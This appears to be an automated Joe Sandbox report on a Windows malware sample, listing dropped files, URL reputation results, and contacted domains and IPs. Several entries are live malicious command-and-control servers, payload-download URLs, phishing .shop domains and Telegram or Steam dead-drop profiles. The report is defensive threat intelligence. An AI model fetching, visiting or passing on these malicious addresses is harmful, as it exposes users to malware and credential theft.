C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\sql[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf75d3791d7_vrewqgq[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://mozilla.org0/	0%	URL Reputation	safe
http://www.entrust.net/rpa03	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://www.entrust.net/rpa0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net02	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://46.8.231.109/c4754d4f680ead72.php	100%	Avira URL Cloud	malware
http://46.8.231.109/c4754d4f680ead72.phpb	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://147.45.68.138/nss3.dll	100%	Avira URL Cloud	malware
https://t.me/iyigunl	100%	Avira URL Cloud	malware
http://46.8.231.109/c4754d4f680ead72.phpnu	100%	Avira URL Cloud	malware
http://crl.entrust.net/ts1ca.crl0	0%	URL Reputation	safe
https://www.cloudflare.com/learning/access-management/phishing-attack/	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	0%	Avira URL Cloud	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://condedqpwqm.shop/api.	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll#	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll_	100%	Avira URL Cloud	malware
https://t.me/jamelwtkwnvfdhttps://steamcommunity.com/profiles/76561199761128941b	0%	Avira URL Cloud	safe
http://147.45.68.138/~	0%	Avira URL Cloud	safe
https://condedqpwqm.shop/api45	100%	Avira URL Cloud	phishing
https://steamcommunity.com/profiles/76561199761128941	100%	Avira URL Cloud	malware
http://46.8.231.109KFCFBFIDdata;	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlli	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	Avira URL Cloud	malware
http://stadiatechnologies.com/P_	0%	Avira URL Cloud	safe
http://147.45.68.138:80	0%	Avira URL Cloud	safe
https://condedqpwqm.shop/apitK	100%	Avira URL Cloud	phishing
http://147.45.68.138/softokn3.dllPq	0%	Avira URL Cloud	safe
http://147.45.68.138/sql.dllna	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66cf818156193_ldjfnsfd.exe-data;	0%	Avira URL Cloud	safe
http://stadiatechnologies.comntent-Disposition:	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	0%	Avira URL Cloud	safe
http://147.45.68.138/vcruntime140.dll	100%	Avira URL Cloud	malware
http://46.8.231.109/c4754d4f680ead72.phpC	100%	Avira URL Cloud	malware
http://147.45.68.138:80fa20b20dvTLLjcqfGclHNCCYSAESCTrC.exe	0%	Avira URL Cloud	safe
http://147.45.68.138:80JK	0%	Avira URL Cloud	safe
http://46.8.231.109/c4754d4f680ead72.phpry=----IDHIIJJJKEGIDGCBAFIJdefaultrelease	100%	Avira URL Cloud	malware
https://t.me/jamelwt#cp	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exe	100%	Avira URL Cloud	malware
http://stadiatechnologies.com	0%	Avira URL Cloud	safe
http://147.45.68.138:80JD	0%	Avira URL Cloud	safe
http://147.45.68.138/sql.dllrrentVersion	0%	Avira URL Cloud	safe
http://147.45.68.138/mozglue.dll	100%	Avira URL Cloud	malware
http://147.45.68.138/4	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	100%	Avira URL Cloud	malware
http://147.45.68.138/8	0%	Avira URL Cloud	safe
locatedblsoqp.shop	100%	Avira URL Cloud	phishing
caffegclasiqwp.shop	100%	Avira URL Cloud	malware
millyscroqwp.shop	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dlls	100%	Avira URL Cloud	malware
http://46.8.231.109	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exem-data;	0%	Avira URL Cloud	safe
https://www.cloudflare.com/5xx-error-landing	0%	Avira URL Cloud	safe
http://147.45.68.138/F	0%	Avira URL Cloud	safe
http://147.45.68.138:80IJ	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	100%	Avira URL Cloud	malware
http://46.8.231.109/c4754d4f680ead72.php:#	100%	Avira URL Cloud	malware
http://46.8.231.109/c4754d4f680ead72.phpw	100%	Avira URL Cloud	malware
http://147.45.68.138/R	0%	Avira URL Cloud	safe
http://147.45.68.138/Y	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll-	100%	Avira URL Cloud	malware
http://147.45.68.138/msvcp140.dlllq	0%	Avira URL Cloud	safe
http://147.45.68.138/freebl3.dll	100%	Avira URL Cloud	malware
https://t.me/	0%	Avira URL Cloud	safe
traineiwnqo.shop	100%	Avira URL Cloud	malware
https://t.me/9	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll(	100%	Avira URL Cloud	malware
https://web.telegram.org	0%	Avira URL Cloud	safe
condedqpwqm.shop	100%	Avira URL Cloud	phishing
http://147.45.68.138/	0%	Avira URL Cloud	safe
https://condedqpwqm.shop/T	100%	Avira URL Cloud	phishing
http://stadiatechnologies.com/	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exeF	0%	Avira URL Cloud	safe
http://147.45.68.138/freebl3.dllxq	0%	Avira URL Cloud	safe
http://147.45.68.138/sql.dll	100%	Avira URL Cloud	malware
http://147.45.68.138:80exe	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exeT	0%	Avira URL Cloud	safe
http://147.45.68.138/softokn3.dll	100%	Avira URL Cloud	malware
stamppreewntnq.shop	100%	Avira URL Cloud	phishing
stagedchheiqwo.shop	100%	Avira URL Cloud	phishing
http://147.45.68.138/nss3.dll&aQ~)	0%	Avira URL Cloud	safe
evoliutwoqm.shop	0%	Avira URL Cloud	safe
http://147.45.68.138/msvcp140.dll	100%	Avira URL Cloud	malware
http://46.8.231.109/	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	100%	Avira URL Cloud	malware
http://147.45.68.138:80ta	0%	Avira URL Cloud	safe
https://t.me/iyigunlsql.dllsqlr.dllIn	0%	Avira URL Cloud	safe
https://t.me/nLbZ	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
t.me	149.154.167.99	true	true	unknown
condedqpwqm.shop	172.67.146.35	true	true	unknown
stadiatechnologies.com	95.164.119.162	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.68.138/nss3.dll	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/c4754d4f680ead72.php	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199761128941	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://147.45.68.138/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exe	true	Avira URL Cloud: malware	unknown
http://147.45.68.138/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true	Avira URL Cloud: malware	unknown
locatedblsoqp.shop	true	Avira URL Cloud: phishing	unknown
caffegclasiqwp.shop	true	Avira URL Cloud: malware	unknown
millyscroqwp.shop	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://147.45.68.138/freebl3.dll	true	Avira URL Cloud: malware	unknown
traineiwnqo.shop	true	Avira URL Cloud: malware	unknown
condedqpwqm.shop	true	Avira URL Cloud: phishing	unknown
http://stadiatechnologies.com/	true	Avira URL Cloud: safe	unknown
http://147.45.68.138/	true	Avira URL Cloud: safe	unknown
http://147.45.68.138/sql.dll	true	Avira URL Cloud: malware	unknown
http://147.45.68.138/softokn3.dll	true	Avira URL Cloud: malware	unknown
stagedchheiqwo.shop	true	Avira URL Cloud: phishing	unknown
stamppreewntnq.shop	true	Avira URL Cloud: phishing	unknown
evoliutwoqm.shop	true	Avira URL Cloud: safe	unknown
http://147.45.68.138/msvcp140.dll	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, JKFIDG.29.dr, KJJJKFIIIJJJECAAEHDB.3.dr	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/learning/access-management/phishing-attack/	RegAsm.exe, 00000029.00000002.1938989194.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpb	RegAsm.exe, 00000003.00000002.1411146244.00000000276DC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	BAAEHD.29.dr, AECFCAAE.3.dr	false	Avira URL Cloud: safe	unknown
https://t.me/iyigunl	userIEHDAFHDHC.exe, 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	BAAEHD.29.dr, AECFCAAE.3.dr	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpnu	RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://condedqpwqm.shop/api.	RegAsm.exe, 00000029.00000002.1938989194.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll_	RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll#	RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://condedqpwqm.shop/api45	RegAsm.exe, 00000018.00000002.1483311475.0000000001196000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://147.45.68.138/~	RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/jamelwtkwnvfdhttps://steamcommunity.com/profiles/76561199761128941b	userIEHDAFHDHC.exe, 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlli	RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://46.8.231.109KFCFBFIDdata;	RegAsm.exe, 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138:80	RegAsm.exe, 0000002E.00000002.2205091531.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2205091531.00000000004CE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2205091531.00000000005AF000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66cf818156193_ldjfnsfd.exe-data;	RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://stadiatechnologies.com/P_	RegAsm.exe, 0000001D.00000002.1929039688.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://stadiatechnologies.comntent-Disposition:	RegAsm.exe, 0000001D.00000002.1926386102.0000000000567000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138/sql.dllna	RegAsm.exe, 0000001D.00000002.1929039688.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://condedqpwqm.shop/apitK	RegAsm.exe, 00000018.00000002.1483311475.0000000001196000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://147.45.68.138/softokn3.dllPq	RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	IJKJJK.29.dr	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpC	RegAsm.exe, 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://147.45.68.138:80JK	RegAsm.exe, 0000002E.00000002.2205091531.00000000004B1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, mozglue[1].dll.3.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr	false	Avira URL Cloud: safe	unknown
https://t.me/jamelwt#cp	RegAsm.exe, 0000001D.00000002.1929039688.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.68.138:80fa20b20dvTLLjcqfGclHNCCYSAESCTrC.exe	RegAsm.exe, 0000002E.00000002.2205091531.00000000004B1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2205091531.00000000004CE000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----IDHIIJJJKEGIDGCBAFIJdefaultrelease	RegAsm.exe, 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://stadiatechnologies.com	RegAsm.exe, 0000001D.00000002.1926386102.0000000000567000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138:80JD	RegAsm.exe, 0000001D.00000002.1926386102.00000000004CE000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa03	file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	false	URL Reputation: safe	unknown
http://147.45.68.138/sql.dllrrentVersion	RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138/4	RegAsm.exe, 0000002E.00000002.2206607255.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BAAEHD.29.dr, AECFCAAE.3.dr	false	Avira URL Cloud: safe	unknown
http://147.45.68.138/8	RegAsm.exe, 0000002E.00000002.2206607255.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	BAAEHD.29.dr, AECFCAAE.3.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dlls	RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IJKJJK.29.dr	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exem-data;	RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109	RegAsm.exe, 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.cloudflare.com/5xx-error-landing	RegAsm.exe, 00000029.00000002.1938989194.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138/F	RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138:80IJ	RegAsm.exe, 0000002E.00000002.2205091531.00000000004B1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/c4754d4f680ead72.php:#	RegAsm.exe, 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/c4754d4f680ead72.phpw	RegAsm.exe, 00000003.00000002.1411146244.00000000276DC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://147.45.68.138/R	RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, JKFIDG.29.dr, KJJJKFIIIJJJECAAEHDB.3.dr	false	URL Reputation: safe	unknown
http://147.45.68.138/Y	RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll-	RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.entrust.net/2048ca.crl0	file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	false	URL Reputation: safe	unknown
http://147.45.68.138/msvcp140.dlllq	RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.entrust.net/rpa0	file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	false	URL Reputation: safe	unknown
https://t.me/	RegAsm.exe, 0000002E.00000002.2206607255.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll(	RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/9	RegAsm.exe, 0000001D.00000002.1929039688.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org	RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	false	URL Reputation: safe	unknown
http://ocsp.entrust.net02	file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	false	URL Reputation: safe	unknown
https://condedqpwqm.shop/T	RegAsm.exe, 00000029.00000002.1938989194.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://147.45.68.138/freebl3.dllxq	RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BAAEHD.29.dr, AECFCAAE.3.dr	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exeF	RegAsm.exe, 00000003.00000002.1411146244.00000000276C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exeT	RegAsm.exe, 00000003.00000002.1411146244.00000000276C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138:80exe	RegAsm.exe, 0000002E.00000002.2205091531.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138/nss3.dll&aQ~)	RegAsm.exe, 0000001D.00000002.1929039688.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BAAEHD.29.dr, AECFCAAE.3.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/ts1ca.crl0	file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	false	URL Reputation: safe	unknown
https://t.me/iyigunlsql.dllsqlr.dllIn	userIEHDAFHDHC.exe, 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000003.00000002.1426312746.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1399562953.000000001B63E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943907695.000000002450D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.29.dr	false	URL Reputation: safe	unknown
http://147.45.68.138:80ta	RegAsm.exe, 0000002E.00000002.2205091531.00000000004CE000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/nLbZ	RegAsm.exe, 0000002E.00000002.2206607255.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BAAEHD.29.dr, AECFCAAE.3.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
95.164.119.162	stadiatechnologies.com	Gibraltar	39762	VAKPoltavaUkraineUA	true
172.67.146.35	condedqpwqm.shop	United States	13335	CLOUDFLARENETUS	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true
147.45.68.138	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500787
Start date and time:	2024-08-28 22:54:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
